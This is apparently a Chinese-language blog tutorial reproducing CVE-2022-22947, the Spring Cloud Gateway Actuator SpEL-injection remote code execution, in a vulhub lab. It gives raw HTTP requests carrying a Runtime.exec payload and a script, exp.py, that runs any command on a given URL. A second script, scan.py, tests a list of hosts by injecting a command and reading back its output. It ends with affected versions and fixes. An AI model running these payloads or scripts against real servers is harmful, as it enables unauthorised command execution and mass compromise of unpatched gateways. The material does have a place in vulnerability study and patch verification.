CVE-2022-22947-Spring Cloud Gateway RCE

基本介绍

微服务架构与Spring Cloud

最开始时,我们开发java项目时,所有的代码都在一个工程里,我们把它称为单体架构。当我们的项目的代码量越来越大时,开发的成员越来越多时,这时我们项目的性能以及我们开发的效率都会存在非常大的问题,所以对于这样的项目,我们需要把它拆分为不同的服务,举个列子,原来很大的一个工程,我们把它拆分为一个个服务,比如说订单服务、用户服务、商品服务、物流服务、资金服务等等,因为有了这些服务之后,我们又引入了服务网关、服务注册发现、配置中心、调用链监控、Metrices监控等等的这些组件对这些服务进行协调和管理

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_网络

Spring的开发团队,在Springboot框架的基础上开发了一个Spring Cloud生态

  • Eureka、Ribbon、OpenFeign、Hystrix、 Config、Zuul
  • Consul、Gateway、Bus、Stream、Sleuth、 zipkin
  • Nacos、Sentinel、Seata

我们使用这些现成的微服务去开发一个项目,相较于以前是非常的便捷的,而我们这次需要去复现的漏洞出现位置的组件就叫做Gateway,是一个网关的组件

我们开发一个项目时,因为拆分出来的服务太多了,对于用户来说,在一个项目中,去调用那么多的服务,非常的麻烦,所以我们就用一个统一的入口,这个入口就叫做服务网关

网关的作用:

  • 智能路由
  • 负载均衡
  • 协议转换
  • 权限校验
  • 限流熔断
  • 黑白名单
  • API监控
  • 日志审计

所以网关的功能是非常强大的,他在我们微服务的架构中也是非常的必要的

微服务架构的选择方案:

  • Netflix Zuul
  • Spring Cloud Gateway
  • Kong
  • Nginx+Lua

在我们一个Spring 框架里去创建一个网关的微服务,只需要在pom.xml文件中引入下面这个依赖:

<dependency> 
		<groupId>org.springframework.cloud</groupId>
	 	<artifactId>spring-cloud-starter-gateway</artifactId>
</dependency>

Spring Cloud Gateway概念

  • 路由(Route)
  • 断言(Predicate)
  • 过滤器(Filter)

Spring Boot Actuator

Spring Boot Actuator是 Spring Boot中一个监控的组件

Actuator的作用:

  • 健康检查
  • 审计
  • 统计
  • HTTP追踪

在我们一个Spring 框架里去创建一个Actuator,只需要在pom.xml文件中引入下面这个依赖:

<dependencies>
 <dependency> 
 	<groupId>org.springframework.boot</groupId> 
	<artifactId>spring-boot-starter-actuator</artifactId> 
 </dependency> 
</dependencies>

我们可以使用Actuator去监控Gateway,只需要在配置文件中添加以下代码:

management.endpoint.gateway.enabled=true 
management.endpoints.web.exposure.include=gateway

Actuator给我们提供操作Gateway接口列表

http://host:port/actuator/gateway/id

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_Cloud_02

漏洞复现

此处复现我们使用的是vulhub提供的靶场,关于如何下载这个靶场,我就不多说了,太基础的东西了

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_03

下载好vulhub的靶场后进入CVE-2022-22947

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_04

运行如下代码启动和安装环境

docker-compose up -d

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_05

查看端口是否开放

docker-compose ps

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_Cloud_06

打开浏览器访问URL地址

http://ip:8080

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_07

BP进入重放器模块

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_08

添加过滤器payload(这里的IP端口记得改为你的)

POST /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 329

{
  "id": "wuyaaq",
  "filters": [{
    "name": "AddResponseHeader",
    "args": {
      "name": "Result",
      "value": "#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"whoami\"}).getInputStream()))}"
    }
  }],
  "uri": "http://example.com"
}

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_09


发送包,过滤器规则添加成功:

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_Cloud_10

刷新过滤器payload

POST /actuator/gateway/refresh HTTP/1.1
Host: localhost:8080
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: keep-alive
Content-Length: 3
Content-Type: application/x-www-form-urlencoded
Origin: null
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: cross-site
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0

a=1

发送包,返回显示刷新成功

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_安全_11

访问过滤器IDpayload

GET /actuator/gateway/routes/hacktest HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:97.0) Gecko/20100101 Firefox/97.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

或者这一步直接在浏览器中执行访问

http://IP:8080/actuator/gateway/routes/hacktest

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_网络_12

可以看到我们输入whoami的命令执行了

自动化检测该漏洞

将下列代码保存为exp.py

import requests
import json
import base64
import re

payload1 = '/actuator/gateway/routes/wuyaaq'
payload2 = '/actuator/gateway/refresh'
payload3 = '/actuator/gateway/routes/wuyaaq'
headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Connection': 'close',
    'Content-Type': 'application/json'
}
proxies = {
    'http': 'http://192.168.0.112:8080'
}


data = 'eyAgImlkIjogInd1eWFhcSIsICAiZmlsdGVycyI6IFt7ICAgICJuYW1lIjogIkFkZFJlc3BvbnNlSGVhZGVyIiwgICAgImFyZ3MiOiB7ICAgICAgIm5hbWUiOiAiUmVzdWx0IiwgICAgICAidmFsdWUiOiAiI3tuZXcgU3RyaW5nKFQob3JnLnNwcmluZ2ZyYW1ld29yay51dGlsLlN0cmVhbVV0aWxzKS5jb3B5VG9CeXRlQXJyYXkoVChqYXZhLmxhbmcuUnVudGltZSkuZ2V0UnVudGltZSgpLmV4ZWMobmV3IFN0cmluZ1tde1wiQ21kXCJ9KS5nZXRJbnB1dFN0cmVhbSgpKSl9IiAgICB9ICB9XSwgICJ1cmkiOiAiaHR0cDovL2V4YW1wbGUuY29tIn0KCg=='

data1 = {
    'Upgrade-Insecure-Requests': '1',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36',
    'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9',
    'Accept-Encoding': 'gzip, deflate',
    'Accept-Language': 'zh-CN,zh;q=0.9',
    'Connection': 'close',
    'Content-Type': 'application/x-www-form-urlencoded',
    'Content-Length': '0'
}

def exec():
    # 执行命令
    requests.post(url+payload1,headers=headers,data=base64.b64decode(data).decode().replace('Cmd',cmd),verify=False,timeout=5)
    # 获得结果
    requests.post(url+payload2,headers=headers,data=data1,verify=False,timeout=5)
    # 
    a = requests.get(url+payload3,headers=headers,verify=False,timeout=5).text
    exec = re.findall(r'Result = [\'"]?([^\'" )]+)', a)
    print(exec)

if __name__ == '__main__':
    url = input("Url:")
    cmd = input("Cmd:")
    exec()
python exp.py

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_Cloud_13

原理分析

问题:为什么添加过滤器(路由)会导致代码执行?

流程:

1、开启Acutator,可以通过接口列出路由(包括过滤器),如:/actuator/gateway/routes
2、可以通过/gateway/routes/{id_route_to_create} 创建路由
3、通过/actuator/gateway/refresh刷新路由
4、当路由带有恶意的Filter,里面的spEL表达式会被执行

扫描与修复

漏洞影响范围:

Spring Cloud Gateway < 3.1.1
Spring Cloud Gateway < 3.0.7

https://tanzu.vmware.com/security/cve-2022-22947

批量检测代码

将以下代码保存为scan.py

import requests
import urllib3
import json
import re
urllib3.disable_warnings()

cmd='whoami'

a='''
  $$$   $$  $$  $$$$$        $$$    $$$    $$$    $$$         $$$    $$$    $$$      $$  $$$$$ 
 $$  $  $$  $$  $$          $  $$  $$ $$  $  $$  $  $$       $  $$  $  $$  $$ $$    $$$     $$ 
 $$     $$  $$  $$             $$  $$ $$     $$     $$          $$     $$  $$ $$   $ $$    $$  
 $$      $$$$   $$$$$  $$$    $$   $$ $$    $$     $$   $$$    $$     $$   $$ $$  $  $$    $$  
 $$      $$$$   $$           $$    $$ $$   $$     $$          $$     $$     $$$$  $$$$$$  $$   
 $$  $   $$$$   $$          $$     $$ $$  $$     $$          $$     $$        $$     $$   $$   
  $$$     $$    $$$$$       $$$$$   $$$   $$$$$  $$$$$       $$$$$  $$$$$   $$$      $$  $$   
'''
b ='python CVE-2022-22947_POC.py url.txt'

uri_check='/actuator/gateway/routes/code'
uri_refresh='/actuator/gateway/refresh'

headers = {
    'Accept-Encoding': 'gzip, deflate',
    'Accept': '*/*',
    'Accept-Language': 'en',
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/97.0.4692.71 Safari/537.36',
    'Content-Type': 'application/json'
}

payload = {
    "id": "code",
    "filters": [{
        "name": "AddResponseHeader",
        "args": {
            "name": "Result",
            "value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(\"" + cmd +"\").getInputStream()))}"
        }
    }],
    "uri": "http://ggg.cpdd",
    "order": 0
}

#刷新路由

def refresh(url):
    try:
        rf=url+uri_refresh
        req_refresh =requests.post(url=rf,verify=False,timeout=1)
        code_refresh=req_refresh.status_code
        if code_refresh==200:
            print('[+]刷新路由成功')
        else:
            print('[-]刷新路由失败')
            # print(code_refresh)
            # print(code_refresh)
    except requests.exceptions.RequestException:
        print('[-]刷新路由超时')
    except:
        print('[-]刷新路由异常')

def huixian(url):
    try:
        req_huixian=requests.get(url=url+uri_check,verify=False,timeout=1)
        req_huixian_text=req_huixian.text
        req_huixian_code =req_huixian.status_code
        if req_huixian_code==200:
            req_huixian_text = req_huixian_text.replace("'", '')
            req_huixian_text = req_huixian_text.replace(" ", '')
            req_huixian_text = req_huixian_text.replace("\\n", '')
            req_huixian_re = re.compile(r'AddResponseHeaderResult=(.*?)],')
            req_huixian_re_1 = req_huixian_re.findall(req_huixian_text, re.S)
            huixian =req_huixian_re_1[0]
            print(f'[+]获取回显命令成功:{huixian}')
            # print(req_huixian_text)
        else:
            # print(req_huixian_code)
            print('[-]获取回显失败,请手动测试')
    except requests.exceptions.RequestException:
        print('[-]获取回显超时')
    except:
        print('[-]获取回显异常,请手动测试')

#删除命令注入
def del_rce_in(url):
    all=url+uri_check
    try:
        req =requests.delete(url=all,verify=False,timeout=2)
        code = req.status_code
        if code ==200:
            print('[+]删除注入路由成功')
        else:
            print('[-]删除注入路由失败')
    except requests.exceptions.RequestException:
        print('[-]删除注入路由超时')
    except:
        print('[-]删除注入路由异常')

#批量检测漏洞
def poc(txt):
    f =open(txt)
    f=f.readlines()
    for url in f:
        url =url.strip('\n')
        url =url.strip('/')
        try:
            all =url+uri_check
            req =requests.post(url=all,data = json.dumps(payload, ensure_ascii = False),headers=headers,json=json,verify=False,timeout=2)
            code =req.status_code
            if code ==201:
                # print(code)
                print(f'[+]{url}疑似存在漏洞')
                poc_file=open('success.txt','a+')
                poc_file.write(url+'\n')
                poc_file.close()
                refresh(url)
                huixian(url)
                del_rce_in(url)
                refresh(url)
                # refresh(url)
            else:
                print(f'[-]{url}不存在漏洞')
        # continue
        except requests.exceptions.RequestException:
            time_poc=f'[-]{url}漏洞检测超时'
            print(time_poc)
            pass
        except:
            print(f'[-]{url}rce注入失败,请检查网站是否能访问')
            continue

if __name__ == '__main__' :
    print(a)
    poc('url.txt')

然后在相同的目录下准备一个url.txt的文件,里面写上要批量检测的地址

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_网络安全_14

然后执行代码进行批量检测

python scan.py

CVE漏洞复现-CVE-2022-22947-Spring Cloud Gateway RCE_json_15

修复

1.更新升级 Spring Cloud Gateway 到以下安全版本:
Spring Cloud Gateway >=3.1.1
Spring Cloud Gateway >=3.0.7
2.在不考虑影响业务的情况下禁用 Actuator 接口:

management.endpoint.gateway.enable:false